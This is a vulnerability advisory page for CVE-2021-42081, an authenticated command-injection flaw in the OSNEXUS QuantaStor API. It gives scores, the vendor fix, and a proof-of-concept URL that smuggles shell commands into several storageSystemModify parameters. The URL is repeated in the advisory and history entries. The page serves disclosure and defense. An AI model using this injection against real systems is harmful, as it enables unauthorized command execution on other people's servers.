CVE-2021-42081

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Published Jul 10, 2023 CVSS 3.1 · 9.1 Critical EPSS 1.2% KEV · Not listed
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.

POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Remediation

Vendor Solution

Upgrade to the latest version of OSNEXUS QuantaStor.

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2021-29067 An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
History
Type Values Removed Values Added
Description An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Weaknesses

Sources

Status
PUBLISHED
Assigner
DIVD
Published
Updated
Sep 22, 2025, 6:40 AM
Reserved
Oct 7, 2021, 5:12 PM
Status
Modified
Published
Jul 10, 2023, 4:15 PM
Modified
Jun 17, 2026, 4:09 AM